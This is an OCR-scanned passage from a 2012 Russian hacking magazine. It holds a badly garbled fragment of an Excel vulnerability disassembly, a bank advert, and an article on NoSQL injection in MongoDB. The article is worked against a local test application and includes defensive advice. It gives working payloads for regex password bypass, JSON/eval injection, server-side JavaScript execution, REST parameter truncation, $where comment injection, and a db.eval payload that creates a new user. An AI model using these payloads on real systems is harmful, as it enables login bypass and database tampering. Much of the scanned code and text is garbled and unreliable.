(которое мы контролируем! Ох10 и передаетрезультатв функцию

MSO_B04. ., t.е.~t.;.J~:!'.ZП.2.:L ..."р'j!sJ1 _

......е.Рр...... _ .................._ .........__....... ___............ · t.e~1; :;!E.'I.:!.п.~.6.4. ...... !!I'O.Y...... . еЬр, esP. ......... ,.1;ext ;. 3~.1.n..2J!.g... ...т.ОУ . .. NX, . [ebR:I:!3r.g_~J ..... .. .tехt :38;1,z:пg~ ...... QЧ5h . esi ____.... __ ...... __ . · t.ех:t. :..~.!JJz].~RА ..... !ПQу........... еsi., . [eд~:!:~Ab 1 ... _ ..:..... _ ..................... . .,te xt .: 1~:!'2.П.@ ... .. J!цsh __ . ...еs.i...............................__ .................................. '.te><:t;. :..з.jjJ.2п6. ~........с.!'!ц __ ... MSO _BfJ.'I... ~.[;!~}.05;!8C1........................... .

Функция

MSO_B04 увеличивает свой

аргумент на Ох3с и возвра­

щает полученный результат. З~Е~7.Е!3.8............. _ ........... __ Р.Ц.5Н

.EIH' " ... ................ MQI( . ~J1 Р , Е $ Р ... __ ................................................... З8Е2П.ВЗ . MOV ...EAX , DЩЩD... I'TR .. S.$ :jE.l;!,f'.±JH ........... . З8Е27.FВб . ТEST ЕАХ, ~AX _ .. __ .. __ .............. з8Е2.7J:.~.6 ..............._ ........... .J.~. !!Is'o . ).8C?A~.?2........___ ..................................... з.8 ~ ~ j'I.BJ................................~OV EAX4 D.WP,R,O РТВ.. J>.S.;Л8Х±ЗС 1......... .. З.~Е 2} F.CJ...............................J)Q.f'... ~ Е1Р.... ............................................................. З.~Е.ПЕ .Сz..............................В. ~.Пу... 4. ......................................................................... ЗЩ2}F~.1

ft

Значение, возвращаемое функцией MSO_B04 (до сих пор на­ ходящееся под нашим контролем) сохраняется в регистре есх. Азатем следует констркуция call dword ptr [есХ+Ох11] .. .

., .t .е~.t .:).8;J..П.П4 ..._..tg.5:t; ... __

Значения в функции

sub_30164E23,

относящиеся кдочерней

записи, сохраняются в буфере. Далее, как следует из кода,

выполняется обработка дочерней записи. Одной из функций, участвующих в обрабо т ке, является функция

sub_3012FABC:

· t.e~:t: ЗЩ2F,lI,Ц! ...... .!!I.оУ............. е.Ф" .. [ebp+a.rg_~J .. •.te.1<t: зщ2FАсВ..........>фс ............ е.si,.. esi ..... ............................................. · t .e?<:t : .з8цf..!'Iсl2 ........ c.!!Ip._ .........dWor:-d_з87ЕlFВ4, . e.s.i......................... . • text: щl.цАD.з .........тQУ............ eJ:))5,. [.еФ. -/:!5 1 .' te.x1; :з812.FАQR.......]!1оу ........... [.еЬр±у.аг: _4J, esi .......... .. •:te>$t: зщ2F,lI,D.9. ......... шQУ............ Jе.Ьр.+Уаr _4С], . esi ................................ · text.: ЗjjJ,2fА.QC ....... 1)]9\1............[ еЬР.±уас4В], .. esi..... .... ..................... · tехt:З~12F.АDF . mоv............. [.ЕфР.+vаr _44], J!si . tе хt:. З81ЦАЕ2 .... )I),QY...........,[eJ>R±Y<Jr38.], esi ....... ..text : Зjj12F.ДЕ5 ....... j!'!...............l.Q~_зjj27.48],8. · text : .З812FА):1;!, .. СП1R...........dwрr.d_З87DВ7А4, esi ........................... __ · tex1; : JЩ2 FДFl .. .jrK .......shoT1;. 10с_З812FАFВ

056

.... ea.x~ ...ea.X.....__ .. _ ... __ ....... __ ... ___ ......... __....... .. · tе ~t. :..з.е..:J,ппg...... j .;I;.......... __ s.b9r,t .. ~..осз.~J2Пя!;..........................._. , 1;.ехt. :. зю..4.?..27..6....... -"jQУ ....... е .с ~,.. [e..a.>I} __ ................. __ ............... _.... __ .. ...text. :;!!ЗJ.4Z.П.А ..... JJ~a ... edx, [еЬр±а r:-,g_!JJ ............ ___ ._ ._....... .t.e.xt.;3~J.Z}.nQ ..... R.lJsh.... edx ..........................................._... , t.е~.t .;)~пПл. __ .. l2у. s.h.__ 8BEh .............................................................. ,.:text..: з.~,цПJ3J........ р.\.J.$.h.... e.si.................................................................... .,t.e>$1;.: з~12П.!!.4 .......R.u.s.h .......... еах ...... __ ....................... ____ . · tех1;..;э E.'I. 1.J.П.65........с!'!J.1 ....... g.W.QГd .. Rtr:-.. Jе..с:.1<.±J1сJ:й ........ .. ... ~.... ~= . ~.. .де.R.ед<J..е.М... у!J l2iJ.!3IJe.H~e. Н.!'! .. лш),е.;!ij.УJ9....Нii[.РУ.<! ку.

..

1,.';111" Microsoft Office ExceI200210.2614.2625 Service Pack O(Office Windows ХР SP3, Microsoft Office Excel2002 10.6501.6626 Service Pack 3 (Office ХР SP3) оп Windows ХР SP3 . ХР) оп

Существует обновлен ие, устраня ющее эту уязвимость . ::Х::

ХАКЕР

02/157/2012


А Апьфа· Банк

Оформить дебетовую или кредитную «Мужскую карту» можно в отделениях ОДА «Альфа-Банка», а так же заказав по телефонам:

(495) 229-2222

в Москве 18-800-333-2-3~3 в регионах России (звонок бесплатный) или на сайте

www.mancard.ru

ОАО «Альфа-Банк». Генеральная лицензия банка России на осуществление банковских операций от

29.01.1998

N2IЗ2б"



Тотальный дестрой

ЧТО ТАКОЕ

MongoDB

NOSQL

Думаю, ты знаком с реляционной моделью СУБД, согласно которой

база данны х состоит из сущностей (таблицl, связанных между собой . Доступ к данным осуществляется с помощью

SQL -

структуриро­

ванного языка запросов. За примерами реляционных СУБД далеко ходить не надо:

MySQL, Oracle, Microsoft SQL Server.

Все остальные

СУБД, архитектура ко торым отличается от классической реляцион­

ной модели, смело можно отнести к классу NoSQL-решений:

• • • •

различные варианты хе ш-таблиц (Redis, BigTabIe, memcachedl; документо-ориентированные базы данных (MongoDB, CouchDBI; базы данных, основанные на графах (Ne04j, Sones GraphDBI; объектно-ориентированные базы данны х (db40, Cache, Jadel; ХМ L-ориентир ованные базы данных (eXist, BaseXI.

Основное отличие NoSQL-СУБД от их SQL-ориентированных конку­ рентов заключается в отсутствии единого, унифицированного языка запросов. Например,

MongoDB используетв качестве языка запросов BSON, eXist применяетХQuегу, а Sonic GгарhDВтребуетотразработчика знания GraphQL, языка запросов кданным, имеющим вид графов. По­ пулярность NoSQL-СУБД растетс каждым днем, что не может не сказы­

Пример базы данных, построенной на графах

ваться на нас стобой. Совсем скоро, буквальнозавтра, тебе придется искать не SQL-инъекции, а NoSQL-инъекции в очередном проекте .

этот уровень довольно сложно, потому что сообщество, сформиро­

Не будем терять времени и поговорим о потенциальны хуязвимостях.

вавшееся вокруг продукта, и сама компания - разработчик ста раются исправлять ошибки rтo мере их обнаружения. Но у тебя есть очень

ТАК ЛИ БЕЗОПАСНЫ NОSQL-СУБ

?

большое преимущество: большинство программных продуктов

Довольно часто я слышу утверждение, что нереляционные СУБД

поставляются с исходным кодом, а значит, ты вполне сможешь его

безопасны, так как они не используют

проанализировать и, возможно, найти что-нибудь стоящее . Если тебе

не может провести на них атаки типа степени это верно: нет

SQL -

стему невозможно внедрить безопасна.

SQL и злоумышленник SQL-injection . В какой-то

нет SQL-инъекциЙ. Но, если в си­

SQL-KOA,

NoSQL закрывает одну

это еще не значит, что она

потенциальную уязвимость, при

этом открывая с десяток други х, которые позволяют совершать

манипулироват ь с RЕSТ-интерфейсом и подделывать межсайто­

выезапросы

• •

-

клиентское

API.

Большинство

NoSQL-

СУБД имеют целый зоопарк различных библиотек для доступа к данным . Стоит отметить, что большинство библиотек представляют собой проекты с открытым исходным кодом, но часть из них уже не поддерживается. Вероятность обнаружить уязвимость в клиент­

разнообразные вредоносные действия:

пове зет, то в твоих руках окажется ключ практически к любой базе данных!Следующий уровень

ской библиотеке значительно выше, чем непосредственно в самой

СУБД. И даже если тебе не посчастливится найти ту единственную

(CSRFI;

использовать регулярные выражения в параметрах запроса;

выпол нять скри пты на сервере, если на нем установлена

NoSQL-

уязвимость, которая откроет доступ ко всем приложениям, построен­

ным на основе этого

API,

ты будешь представлять, как именно прои с­

СУБД (например, MongoDB позволяет запускать JаvаSсгiрt-коАI;

ходит диалог между клиентским кодом и сервером баз данны х, какой

получать доступ кданным через специальный интерфейс, под­

используется протокол и можно ли перехватить сессию.

держиваемый СУБД (SQL в реляционны х базах данных,

Ну и наконец, верхний уровень -

BSON

приложение, которое ты соби­

в MongoDB и т. A.I, и, если используется язык запросов, «испра в­

раешься взломать . Здесь тебе прежде всего нужно найти те места,

лять» эти запросы.

где программист забыл проверить входные данные , и попытаться их проэксплуатировать. В данном случае нужно использовать тот

Рассмотрим типовую архитектуру приложения с доступом к храни­

же под хо д , что и при поиске SQL-инъекций, то есть аналиэировать

лищу данных

код и сообщения об ошибках, только на этот раз придется разби­

• • •

NoSQL. Обычно она сос тоит из трех уро вней:

раться с

приложение;

AP I базы данных NoSQL;

JSON, JavaScript

или чем-то подобным .

Итак, настало время для взлома! Сегодня нашей целью будет

NoSQL-СУБД.

одна из самых распространенных NoSQL-СУБД .

MongoDB -

Злоумышленник может атаковать каждый из этих уровней . Нач­

NОSQL-ИНЪЕК

ИИ В

MONGODB

нем с самого нижнего уровня, то есть непосредственно с СУБД. Как

МЫ будем взламывать небольшое wеЬ-приложение. Его исходный код

и любое приложение, СУБД может быть подвержена атакам перепол­

и весь необходимый софтты найдешь на диске, прилагаемом к журналу

нения буфера или иметь уязвимую схему аутентификации . Атаковать

(процесс установки подробно описан в файле README.RU.txtl. Если установка пройдет успешно, то приложение должно быть досту пно

по адресу httр://127.0 . 0 . 1:ЗlЗЗ7. Основные атаки, о которых се годня пойдет речь: инъекции в регулярных выражениях;

JSОN-инъекции;

JаvаSсгiрt-инъекции.

манипуляции с RЕSТ-интерфейсом;

Начнем со взлома при помощи ошибок в использовании регулярных выражений.

2004

2005

2006

2007

2008

2009

2010

MongoDB, Статистика поисковых запросов о

ХАКЕР

02/157/2012

NoSQL в Google Iпsights

как и многие другие NoSQL-СУБД, позволяет осущест­

влять поиск с помощью регулярных выражений . Это очень мощное,

059


взлом

·~ J I С'·..·'; C:\ Program Files\mопgоdЬ-wi п32 - i38б- . . ..1 + 1

I

~ п

«:> • с 11 ~t ·

127.0.0.1:28017

РI

Google

] C:::> , I @ I ~

1.1-

L...:. А

Filеs\mопgоdЬ-wiпЗ2-iЗ86-2.0.1\Ып\mопgоd.ехе

C:\Program

г'

Ij l

List all commands I Replica set status

I

Commands: buildlnfo cuгsor1nfo featuгes dЬ vеrзiоn

git

hа з h:

v2 . 0.1, pdfile

v еrзiоn

isMasteг

listDatabases гeplSetGetStatus serveгStatus!.Q.p

I ~

.

4.5

З а5сfОе2 1З4а8ЗОdЗ8d2d1 аае 7 е88сасЗ 1Ьdd684

зуз info: win dоw з (5, 1, 2600, 2, uptime: 44 зесоndз

'S ervi ce Pack

!

БООSТ_LIВ_VE R SI ОN=1_42

З')

low level гequiгes гead lock time

f

СО

чес

dаtаЬазез:

readlock: 1

1

-'-

Оmз

replication: mазtеr:

О

зlаvе:

О

clients I Opld ,Actlve

ICllent Web-интерфейс

Lock1Ype Walting : SecsRunnlng 1

Ор

•Namespace Query

cllent

i

msg progressl

MongoDB

но в то же время опасное средство, кото рое может нанести суще­

ционирование все х страниц в прило же нии . Сейчас нас инт ересует

ственный вред при неправильном и с пользовании.

метод

Для п оиска с помощью регулярных выражений в

regexp:

MongoDB

используют оператор $regex. Наприм ер, запрос «ве рни м не всех пользователей, логин которых начинается с ··ГО"", будет выглядеть

var var

rеgехр"w.Q ...=.. п еl1 RеgЕхр (" Л " t .. раsswоrd, lQgiПР<lГ<lm ...=.. {

lоgiп :

lоgiП J

..~' i ~'.); passwQrc!.: regexpPwd };

следующим образом : Как видишь, аутентификация пользователя пр оисходит по­ dЬ . usеrs.fiпd({.. lоg:!,о; ..{...$геgех :

" Л rо"

} }) . ......................

средством запроса , который указывает регулярное выражение

в качестве пароля . При зтом переменная Кстати , ес ли ты не знаком с языком запросов

MongoDB, то

рекомендую начать его изучение с руководства разработчика ,

pa55word

никак не филь ­

тр уе тся, что открывает нам полн у ю свобо д у де йс тв ий. Здесь ты можешь указа ть имя пользователя го о! и регулярное выра жение

кото р ое на х одится по адресу bi!.ly/cqW1 RH . Но вернемся к нашему

вместо пароля, напр имер [\ 5\ 5]*. В результате MongoDB выполнит

приложению. Откро й тестовый web-сайт и выбери пункт «И нъек­

сле д ующий запрос :

ции В регулярных выражения х" в меню

/Л [ \ S \S] */ i}) , и ты ус пешн о войдешь на уяз вимый сай т под логином

MongoDB. Посмотрим, как устроена эта с траница. Открой файл mongodb.j5 в папке Lib. В нем реализован класс MongoDbCon!roller, который отвечает за функ-

db.users. findOne( {lоgiп: 'root' , pa55word:

го о! I этот прием напоминает классическую 5QL-инъекцию «1' ог 1=1

__ »]. За щ итит ь ся от подобной атаки дов ол ь но п рос т о. В о- п ервых, всегда проверяй в х одные данные , откуда бы о ни н и п оступили ­ напрям ую от пользователя , или и з внешнего файла, или из базы

данны х. Перед использованием данны х в программе их следует проверять. В о- вт орых, используй регулярные выра жения только

ГЛОССАРИЙ

в тех случаях, когда з то действительно необ х одимо. Например , приведенный выше запрос можно переписать вот таким образом:

REST

(Rергеsепtаtiопаl

state transferl- подход

к разработке

с!Ь. USeT$ .fiпd.Оп.е( CJ.ogin:.

'root ' ~

pa~s)'!Qr.d ;... '.p.@S.5Werd

' })

архитектуры распределенных систем, который подразумевает,

что каждый объект системы однозначно определяется глобальным идентификатором, например

URL.

Каждый

Как видишь, он безопаснее и при зтом выполняет ся быстрее .

URL,

в свою очередь, имеет строго определенный формат. Управление

сервисом основано на протоколе передачи данных . Обычно это НТТР или

HTTPS,

который поддерживает минимальный набор

операций над объектами: GEТ (получить),

DELETE (удалить). BSON (Binary JavaScript Object Notation) -

PUT

(добавить) ,

POST

(сохранить) и

это бинарная форма

представления простых структур данных и ассоциативных

массивов. Название произошло от широко распространенного формата обмена данными

JSON

инеофициально

расшифровывается как бинарный

060

JSON (Binary JSON).

JSОN - ИНЪЕК ИИ MongoDB не п одде р живает 5QL, но СУБД не может обойтись без языка за про со в . Ра зработчики MongoDB решили использовать вм есто 5QL популярнейший текстовый формат обмена данными J50N IB50N]. Та ким образом, можно попробовать осуществить Да ,

разного рода атаки-инъекции (конечно, если в х одные данные

не фильтруются]. Такие атаки обычно называют J50N-инъе кци ями . Итак, сно ва открывай наше прил ожен ие и переходи на страницу « J50N-инъекции ». Как и в пр еды д ущем пр име р е, ты увидишь поле для ввода имени пользователя и пароля . Давай рассмотрим код,

ХАКЕР

02/157/2012


Тотальный дестрой

MongoDB

отвечающий за процесс аутентификации на этой ст ранице . Он со­ держится в методе

json-injection

класса

MongoDbController:

..

v а r 1Qgi,n р а r а П! ...:о .. еv а 1 с: и lp,Rin.:...'." _±...1pg iл ..:t ...::.:., .... .pa~.~.wo~d..: ....'..~... ±.. P.asswQr.d...±. о, '

Приложение

Н");

Вышеприведенный код преобразует текстовое представление

объекта JavaScript Iзапроса к MongoDB) в объект. После передачи этого объекта на сервер баз данны х происходит аутентификация пользователя . В этом куске кода есть одно очень слабое место­ входные данные никак не контролируются, поэтому ты можешь

АРI

сформироват ь практиче ски любой запрос к базе! Например , укажи

NoSQL СУБД

имя пользователя «root ' })//» Iпароль вводить необязательно) и на жми на кнопку « Войти ». Поздравляю , ты снова вошел в систе­

му! Как так получилось? Все очень просто. Ты указал имя пользо­

вателя

«root'})//», и в функции eval произошел следующий фокус

I/ ПеРJ'!АiJнное . 3ЩI'jение ..

. ............... .................... ({!ogi.o :... ' rppj;.'JJ LJ ', .. P<J.s~.WQrQ.:.... '..'...JJ ................................... I/Лоnу.'шршиЙс .я .. ,з.i!ПРРС .............................................................. db. \J.sj:!.r'.~ •.find,on.~({ . 1оgi,л;.... .'. г.QоJ .' ... Н ............. На самом деле этот скрипт даже еще опаснее, так как с его

помощью т ы можешь выполнить любой код

JavaScript на webсервере. Например, имя пользователя «' + process.execPath))//»

NоSQLСУБД

Стандартная архитектур а д о ступа к д а нным в NoSQL-СУБД

• •

сформируе т запрос вида

/listDatabases?text=l -

список баз данны х;

/sе rvеrstаtus?tехt=l-текущее состояние сервера.

В общем случае для формирования RЕSТ-запроса к базе данны х

Уязвимости такого типа называются

Server Side JavaScript

Inje ctions или просто SSJI. Как же защититься от подобны х атак? 1. Проверяй вседанные из внешних источников . Например, логин должен соо тветствовать регулярному выражения «Л [а-zА-Z]+$ » .

2.

Никогда не используй функцию еvаlдля работы

js доступна функция JSON .parse, которая

cJSON.

В

используется

URL следующего

вида:

ht:tp: 1.f.'J.~ 7 • е. e.•J:~!!e17 /6а.за.-даННЫХ!ISQллеl<ЦИЯ/'?' fil ter _!l.оnе=знаЧ.е.Н.И.е

Node.

парсит входную строку

На странице «Ма нипуляции С RЕSТ-интерфейсом » нашего web-приложения происходит аутентификация пользователя при

исоздаетобъектнаееоснове.

помощи RЕSТ-интерфейса

rest

класса

MongoDB. MongoDbController:

Она реализована в методе

В связи с бурным развитием интернета и сервис-ориентированной

архитектуры

ISOA) все большую популярность набирают REST-

решения . Так как большинство современных нереляционных СУБД организовано в соо тветствии с последними тенденциям в индустрии,

то многие из таких систем либо сами реализуют

REST, либо

исполь­

уаг л~~tQrу

=

"i~е~.uге_пр.sqJ/usеr.sПfiJtеr _lрg;iл="

.±..1Qg:i,!J.. + .. ".~бl ter_pa~.sword=" t .p.a.S~w.Qrd; ....... rest.Qr'.y.:i.ndexQf.(."#" ); . i f (hi!);.h.. ~ - 1) ...{...restQrY .."' .. r.e.stQry.•.sypstTing{e,... hash) ; .. J....

уаг tщsh. "

зуют сторонние продукты для доступа к данным с помощью RESТful­ архитектуры.

MongoDB

не исключение : в эту СУБД входит простой

Скрипт формирует RЕSТ-запрос, игнорируя при этом все данные

RЕSТ-интерфейс который позволяет получить доступ к данным в ре­

после символа

жиме «Только чтение». Кроме того, существует проект под названием

НТТР-запрос к серверу и ожидает результат в формате

Sleepy Mongoose,

который реализует полн ую поддержку

REST.

Давай посмотрим, как работает RЕSТ-интерфейс, встроенный в

MongoDB. Сервер СУБД должен быть запущен с пара метром «- rest ». RЕSТ-с ер вис ДOCTy~eH по адресу http://127.0.0.1 :28017/ Это

#. Когда

RЕSТ-запрос готов, скрипт формирует

JSON .

К примеру, запрос информации о пользователе гоо! в базе данны х

secure_nosql выглядит следующим образом: http://127.0.0.1 :28017/ sec u ге _п osq I/use rs/?fi Ite гJ og i n=root& fi Iter_р а ssword =p!iJ sswO rd. В сё бы хоро шо , но в коде есть ошибка, проявляющая себя при об­

очень прост ое web-приложение, которое отображает информацию

работке символа

о текущем состоянии СУБД и позволяет формировать запросы

то окажешься залогиненным в системе. Проблема, обусловленная

к базам данных. Вот несколько интересных ссылок:

формированием следующего URL: http://localhost:28017/secure_

ВI

Mongo -

ХАКЕР

#. Если

ты попробуешь войти с именем

«root# »,

C:\Windows\system32\cmd.exe - mongo secure_nosql

стандартный клиент

02 /157/ 2012

MongoDB

061


взлом

Q

р

...

зто позволяет писать очень сложные приложения для обработки

"

с-

данны х, с др у гой

-

делает твое приложение более уязвимым.

Где можно использовать

JavaScript в МопgоDВ? 1. Запросы с оператором $where. Например, запрос db.orders. find({ $where: "this.amount > 3" }) вернеттебе список заказов,

--

количество пунктов в которых больше трех. Пароль:

2. З.

db.eval. К примеру, dЬ.еvаl( "fuпсtiоп (х) { return х * х; }", 2) вернет четыре. <IIункции для сохранения в базе данных. MongoDB ПОЗВОJ'iяет сохранять функции, написанные на языке JavaScript, в базе дан­ Команда

ных . Для зтого используется специальная системная коллекция

system.js. Чтобы создать нов ую хранимую функцию foo(x], выпол­

Страница аутентификация пользователя в тестовом приложении

ни следующий код:

nosql/users/?filterJogin=root#&filter_password=. состоит в том, что параметр filter_password был проигнорирован и аутентификация проходила посредством запроса http://Iocalhost:2B017/secure_ nosq I/use rs/?fi Ite гJ og i п= root .

...... qb .я;;.tет .•j s.•.Sqye.(...{. _i.d.; ..':fQQ" > ... Y.ilJ..lJe ;

fuщ tj,QГ] ... (Х). ......

......{ .re.t u.rn .. x... ~ .. 1<;. .J}) .. ..... .. .............................._........ _ ..................... Теперь можешь попробовать вызвать ее воттак: db.eval( "foo(2)" ). 4. Map/Reduce. Мар/Rеduсе-это программный фреймворк, разра­ ботанный компанией Google для параллельны х вычислений над

Стоит отметить, что большинство RЕSТ-интерфейсов также

уязвимы к подделке межсайтовых запросов (CSRF] :

большими объемами данны х . Он содержит две операции: тар, используемую для предварительной обработки данны х, и

reduce,

осуществляющую поиск результата.

MongoDB по зволяет запускать операции map/re duce на сер­

Честно говоря, я довольно скептически отношусь к RESТful ­

вере баз данны х . Операции по распараллеливанию процессов

архитектуре, так как она открывает большие возможности для

злоумышленников. Постарайся не использовать него никак, то предварительно прочитай статью

REST. Но если без Robust Defenses

и агрегации СУБД берет на себя, о т разработчика требуется лишь ук азать ис хо дные данные и функции, реализующие команды тар

for Cross-Site Request Forgery (bit.ly/cbV LvY], в которой очень под­

и

робно описаны все аспекты безопасности RЕSт.

на

JАVАSСRIРТ- ИНЪЕК !J ИИ вать х ранимые процедуры. Давай рассмотрим

раторе $where и аналогичная уязвимость в команде db.eval. Начнем с оператора $where. Открой приложение и выбери пункт $where в меню «И нъекции Ja vaSc ript». Ау тентификация на страни­

ANSI SQL

Microsoft SQL Server,

и позволяет соблюдать

практически любые требования бизнес-приложениЙ. Если тебе

не х ватает возможностей в

це реализована в методе

SQL Server], то ты можешь написать хранимую процедуру на С#

........................: :.'.~&.. t.tJJ.~.,.Р.9sя'iQ.rg... ~.;:~...:.:·...±.. pg.s. ~WQ.rg...±... ::.'.::; . у. il г. .. JQg;tлf'.<! Г.<J.!П...=_..{..:: $.w.iJ.e.r.e~' ...:... j..s ..1 ;.........................................................

Ja vaScri pt.

Фактически ты можешь вы­

полнить почти любой код на сервере баз данных. С одной стороны,

ПО

класса МопgоDЬСопtгоllе г:

v.'Н: .. j'~"_"'... :~t.hJ.s .•Jg,giЛ ...;:~: ... :.::...±.. J.Qgj,!J ... ±............. _...................................

обладает не менее богатыми возможностями , в число

которых входит серверный

FAQ

ssji-where

T-SQL (это диалект SQL, реализованный

или любом другом .NЕТ-совместимом языке.

MongoDB

в документации

в нашем тестовом приложении имеется JаvаSсгiрt-инъекция в опе­

Большинство современных реляционных СУБД позволяют созда­ который расширяет возможности

reduce. Дополнительная информация доступна MongoDB (bit.ly/4V7mD ].

Сначала генерируется скрипт, который проверяет имя и па-

NOSQL ЧТО ТАКОЕ

КАКОВО ПРОИСХОЖДЕНИЕ ТЕРМИНА

ПОЧЕМУ

MONGODB?

NOSQL?

NOSQL? А А

NoSQL переводится не как «Нет SQL» (No SQL а! all], а как «Не только SQL» (Not опlу SQL) . Этоттермин возник в 1998 году: именно так Карло Строцци ICarlo Strozzi) назвал свою нереляционную систему управления базами данных.

MongoDB -

это документо-

А

Давай рассмотрим, какие основные преимущества имеют базы данных

ориентированная система управления

баэами данных с открытым исходным кодом,

NoSQL

разрабатываемая компанией

ми собратьями.

2007

года. Первый релиз

в феврале

2009

10gen с октября MongoDB вышел

1.

г\>да . СУБД позиционируется

по сравнению со своими реляционны­

Производительность . Разработчики большинства

NoSQL-

как решение для хранения данных в высоко­

решений посвящают очень много времени

нагруженных проектах . К ее основным

оптимизациисвоихпроектов.МопgоDВ

когда Эрик Эванс (Eric Evans) на конферен­

достоинствам можно отнести высокую

позволяет добиться порядка

ции, посвященной свободным распреде­

производительность, отличную масштабируе­

и

Второе рождение он получил в 2009-м,

ленным базам данных, использовал его для

мость, отказоустойчивость и наличие

обозначения нереляционных СУБД и храни­

обширного сообщества разработчиков

лищ данных .

и пользователей. На данный момент среди

Можно считать, что именно эта кон­

ференция положила начало буму решений .

062

NoSQL-

пользователей

MongoDB

и другие.

Disney,

Простая настройка репликации баз данных.

МопgоDВпозволяетнастроитьрепликацию всего лишь с помощью нескольких команд,

присутствуют такие

всемирно известные компании, как

SAP, Forbes

2.

20000 вставок

4800 выборок в секунду.

.то есть гораздо проще, чем в том же З.

Oracle.

Множество «плюшек», облегчающих жизнь программистам.

ХАКЕР

02/157/2012


Тотальный дестрой

_

_

I~ .!.:..-

. .....

Поэдравnяю! Ты вошел в системуl

Неправильное имя пonьэоватenя или паJЮl1Ь. Попьпайся еще раз.

выЙти из сиcreмы.

Рыщи из сиqемы.

Доступ к тестовому приложению запрещен

Успешная аутентификация в тестовом приложении

Сервер~ый

роль пользователя. К сожалению, данные в переменных

password login никак не проверяются, что позволяет выполнить любой Теперь давай попробуем войти как

«root' jj» и

JavaScript

обладает огромным потенциалом и в то '

же время несет в себе много опасностей. Одна маленькая ошибка в коде, и злоумышленник получает доступ к твоему серверу баз

скрипт на сервере.

теля

~--"""""""-- +

"' 1l7JW.:ШIl'-I..,. :;'::: .... ;..._ _ _ _ _ _ _ _ _.-:. ~ ,.. cOL:::: !t.. . -;;:;;. ____Р;...:":..:I!:.. ' ":,,

. .....

и

MongoDB

root.

Введи имя пользова­

попробуй войти. Ты в очередной раз успешно

данных. Я настоятельно рекомендую не использовать серверные скрипты :

85 % запросов

можно написать и без них.

залогинишься! Это возможно благодаря тому, что на сервере был сформирован следующий запрос к

ЗАКЛЮЧЕНИЕ

MongoDB:

В заключение я бы хотел поговорить о том, каким я вижу настоя­

{ .' $whe.re..'__ :.. ________ . ______ .____________________ . ______ о о о о .::t.nis.logiJl __ .=.;'=. \ 'TQo:t\ .:__ .U\'__ .1!<& . th.is ...p<;I.~s.woLd __===. \' .\ ' .' __ } . ______

____________ •

__

__

________________ __

щее и будущее NoSQL-сообщества. Во-первых, ты убедился в том, что NoSQL-СУБД пока не являются мейнстримом, но уже довольно близки к этому : появляются новые нереляционные СУБД и проекты,

«//» - это комментарий в JavaScript, поэтому результирующий запрос примет вид « this .lоgiп === 'root'» . К счастью, в момент выполнения запроса база данных находится

которые их используют. Как мне кажется, в ближайшем будущем NoSQL-решения займут относительно большую долю на рынке высо­ конагруженных приложений. Во-вторых, безопасность современных

в ре ж име « Только чтение», поэтому злоумышленник не сможет напи­

NoSQL-СУБД оставляет желать лучшего. Если в мире реляционных

сать скрипт, модифицирующий твои данные. Но это еще не говорит

баз данных существует один стандартизированный язык запросов

отом , что подобная атака невозможна.ОткроЙ страницу « Инъекци и

- SQL, то

JavaScript - db.evall __ .I ». На этот раз аутентификация проис х одит

сов, как ему вздумается:

в «нереляционном мире» каждый реализует язык запро­

посредством вызова функции еуаl на сервере базы данны х :

ственно, и потенциальных уязвимостей намного больше. Если при

JSON, XQuery,

RЕSТ-интерфеЙсы. Соответ­

работе с реляционными базами данных было достаточно изучить уа L.. js __ .= __ ".f!JJl~:tJоп __ .О {г.~:tчrfl __ РQ . users ., fitJ.Q.Qn.~ __ {{

.l ogi,f),;____ :." __ __t ... lо.g).л __ .t __ .::.:., ____ р;;t.sswо rd.; ____ '.:' __ .t .__ ра.ss.wоrQ .. ±--." ..'... .}) ; ...} "..

SQL-инъекции и способы борьбы с ними Iпри этом ты мог применить уже имеющиеся знания как в MySQL, так и в Oracle или SQL Serverl,

gь ..еу' i,11(js.)~____ . _____________ . _____________________ .

то с нереляционными базами данных всё не так просто. Сначала тебе предстоит разобраться, какой язык запросов используется

Как видишь, у тебя есть возможность выполнить любой код на сервере БД. Попробуй создать нового пользователя

pen_test

с паролем реп_tеst. Для этого нужно ввести следующий логин:

в твоей СУБД, как осуществляется доступ к данным и существуют ли дополнительные возможности, которые можно использовать для

взлома Iнапример, серверный JavaScript в MongoDBI. После сбора информации тебе предстоит найти потенциальные уязвимости

'. Н, .dQ,!Js~rs , iJJ.s.!H'.t( {JQgj,f),;____ '.p.en_t.es.t.'

,--. p;;t.s.SWo.rd :..

в своей системе и способы их устранения.

..'. l)., __ .l __ }__ .! / ________________________ .

Я очень надеюсь, что в ближайшем будущем ситуация изменится:

.: рел_tе.s:t

в открытом доступе появится больше информации и защититься Во-первых, ты вошел в систему. Во-вторы х , в базе данны х

появился новый пользователь реп_tеst

Например,

4.

:1.

сто, как от обычных SQL-инъекциЙ.::J:

сообщество, которое всегда готово помочь

MongoDB имеет встроенную

Порталы и социальные сети: Facebook, Twitter, Liпkеdlп -думаю, ты сможешь про­

поддержку Map/Reduce и сложных структур

и исправить найденный тобой баг. В конце

данных.

концов, ты сам можешь исправить баг

Масштабируемость.

или написать необходимое расширение.

Это один из главных козырей NoSOL-СУБД.

Кроме того, можно заметно сэкономить

SaaS. Всё большее число компаний выбира­ ет решения Software-as-Service в качестве

должить список самостоятельно.

Большинство из них поддерживает горизон­

на расходах на администраторов баз

основной платформы для ведения бизнеса

тальное масштабирование, что способствует

данных, так как нереляционные СУБД

втех отраслях, где постоянно растут на­

существенной экономии средств на обору­

гораздо проще реляционных и для их

грузки на инфраструктуру. Многие постав­

довании, ведь дешевле купитьеще один не­

поддержки в большинстве случаев

щики SааS-решений переходят на

дорогой сервер для кластера, чем добавить

не требуется специальный сотрудник.

Так, к примеру, поступил

вкорпоративныйсервердополнительную пару процессоров и оперативную память.

5.

от угроз, связанных с использованием NoSQL-СУБД, будет так же про­

Они дешевле! Большинство NoSOL-решений-это

проекты с открытым исходным кодом. Ты можешь скачать их прямо сейчас и начать использовать. Вокругмногихпроектов сформировалосьбольшоеисплоченное

ХАКЕР

02/157/ 201 2

m

КТО ИСПОnЬЗУЕТ

А

NoSOL. Salesforce.com-

лидервобластиSааSСRМ.

NOSQL?

Стартапы. Это отдельная категория проектов, которые запускаются с минимальным бюдже­

Как видишь, NoSOL-СУБД имеют ряд

том с расчетом на суперприбыли в будущем,

неопровержимых преимуществ. Давай

Такие проекты часто выбирают NoSOL-

рассмотрим, кто же их использует:

«Облачные» сервисы, а именно

Google, Amazon и даже WindowsAzure от Microsoft.

решения, так как они, во-первых, дешевы,

а во-вторых, представляют собой отличный задел на будущее, если он будетпопулярным.

063


взлом

Johnny Catch

" егальны и

т ОЯН: это как? ПОТРОШИМ

